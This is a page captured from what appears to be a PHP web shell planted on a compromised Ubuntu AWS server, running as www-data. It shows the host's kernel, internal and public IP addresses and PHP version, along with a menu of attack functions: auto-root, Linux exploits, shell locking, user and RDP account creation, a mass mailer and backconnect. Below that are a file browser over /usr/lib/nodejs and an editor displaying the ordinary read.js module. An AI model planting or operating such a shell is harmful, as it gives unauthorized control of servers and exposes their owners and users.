Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.118.253.134
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
nodejs /
[ HOME SHELL ]
Name
Size
Permission
Action
ansi
[ DIR ]
drwxr-xr-x
ansi-color-table
[ DIR ]
drwxr-xr-x
archy
[ DIR ]
drwxr-xr-x
async
[ DIR ]
drwxr-xr-x
balanced-match
[ DIR ]
drwxr-xr-x
brace-expansion
[ DIR ]
drwxr-xr-x
builtin-modules
[ DIR ]
drwxr-xr-x
combined-stream
[ DIR ]
drwxr-xr-x
concat-map
[ DIR ]
drwxr-xr-x
cookie-jar
[ DIR ]
drwxr-xr-x
delayed-stream
[ DIR ]
drwxr-xr-x
forever-agent
[ DIR ]
drwxr-xr-x
form-data
[ DIR ]
drwxr-xr-x
fs.realpath
[ DIR ]
drwxr-xr-x
fstream
[ DIR ]
drwxr-xr-x
fstream-ignore
[ DIR ]
drwxr-xr-x
github-url-from-git
[ DIR ]
drwxr-xr-x
glob
[ DIR ]
drwxr-xr-x
graceful-fs
[ DIR ]
drwxr-xr-x
gyp
[ DIR ]
drwxr-xr-x
hosted-git-info
[ DIR ]
drwxr-xr-x
inflight
[ DIR ]
drwxr-xr-x
inherits
[ DIR ]
drwxr-xr-x
ini
[ DIR ]
drwxr-xr-x
is-builtin-module
[ DIR ]
drwxr-xr-x
isexe
[ DIR ]
drwxr-xr-x
json-stringify-safe
[ DIR ]
drwxr-xr-x
lru-cache
[ DIR ]
drwxr-xr-x
minimatch
[ DIR ]
drwxr-xr-x
mkdirp
[ DIR ]
drwxr-xr-x
mute-stream
[ DIR ]
drwxr-xr-x
node-uuid
[ DIR ]
drwxr-xr-x
normalize-package-data
[ DIR ]
drwxr-xr-x
npm
[ DIR ]
drwxr-xr-x
npmlog
[ DIR ]
drwxr-xr-x
osenv
[ DIR ]
drwxr-xr-x
path-is-absolute
[ DIR ]
drwxr-xr-x
pseudomap
[ DIR ]
drwxr-xr-x
qs
[ DIR ]
drwxr-xr-x
read-package-json
[ DIR ]
drwxr-xr-x
request
[ DIR ]
drwxr-xr-x
retry
[ DIR ]
drwxr-xr-x
rimraf
[ DIR ]
drwxr-xr-x
semver
[ DIR ]
drwxr-xr-x
sha
[ DIR ]
drwxr-xr-x
slide
[ DIR ]
drwxr-xr-x
spdx-correct
[ DIR ]
drwxr-xr-x
spdx-expression-parse
[ DIR ]
drwxr-xr-x
spdx-license-ids
[ DIR ]
drwxr-xr-x
tar
[ DIR ]
drwxr-xr-x
tunnel-agent
[ DIR ]
drwxr-xr-x
underscore
[ DIR ]
drwxr-xr-x
validate-npm-package-license
[ DIR ]
drwxr-xr-x
which
[ DIR ]
drwxr-xr-x
wrappy
[ DIR ]
drwxr-xr-x
yallist
[ DIR ]
drwxr-xr-x
abbrev.js
1.72
KB
-rw-r--r--
block-stream.js
6.4
KB
-rw-r--r--
lockfile.js
7.05
KB
-rw-r--r--
mime.js
2.63
KB
-rw-r--r--
nopt.js
11.46
KB
-rw-r--r--
once.js
935
B
-rw-r--r--
read.js
2.37
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : read.js
module.exports = read var readline = require('readline') var Mute = require('mute-stream') function read (opts, cb) { if (opts.num) { throw new Error('read() no longer accepts a char number limit') } if (typeof opts.default !== 'undefined' && typeof opts.default !== 'string' && typeof opts.default !== 'number') { throw new Error('default value must be string or number') } var input = opts.input || process.stdin var output = opts.output || process.stdout var prompt = (opts.prompt || '').trim() + ' ' var silent = opts.silent var editDef = false var timeout = opts.timeout var def = opts.default || '' if (def) { if (silent) { prompt += '(<default hidden>) ' } else if (opts.edit) { editDef = true } else { prompt += '(' + def + ') ' } } var terminal = !!(opts.terminal || output.isTTY) var m = new Mute({ replace: opts.replace, prompt: prompt }) m.pipe(output, {end: false}) output = m var rlOpts = { input: input, output: output, terminal: terminal } if (process.version.match(/^v0\.6/)) { var rl = readline.createInterface(rlOpts.input, rlOpts.output) } else { var rl = readline.createInterface(rlOpts) } output.unmute() rl.setPrompt(prompt) rl.prompt() if (silent) { output.mute() } else if (editDef) { rl.line = def rl.cursor = def.length rl._refreshLine() } var called = false rl.on('line', onLine) rl.on('error', onError) rl.on('SIGINT', function () { rl.close() onError(new Error('canceled')) }) var timer if (timeout) { timer = setTimeout(function () { onError(new Error('timed out')) }, timeout) } function done () { called = true rl.close() if (process.version.match(/^v0\.6/)) { rl.input.removeAllListeners('data') rl.input.removeAllListeners('keypress') rl.input.pause() } clearTimeout(timer) output.mute() output.end() } function onError (er) { if (called) return done() return cb(er) } function onLine (line) { if (called) return if (silent && terminal) { output.unmute() output.write('\r\n') } done() // truncate the \n at the end. line = line.replace(/\r?\n$/, '') var isDefault = !!(editDef && line === def) if (def && !line) { isDefault = true line = def } cb(null, line, isDefault) } }
Close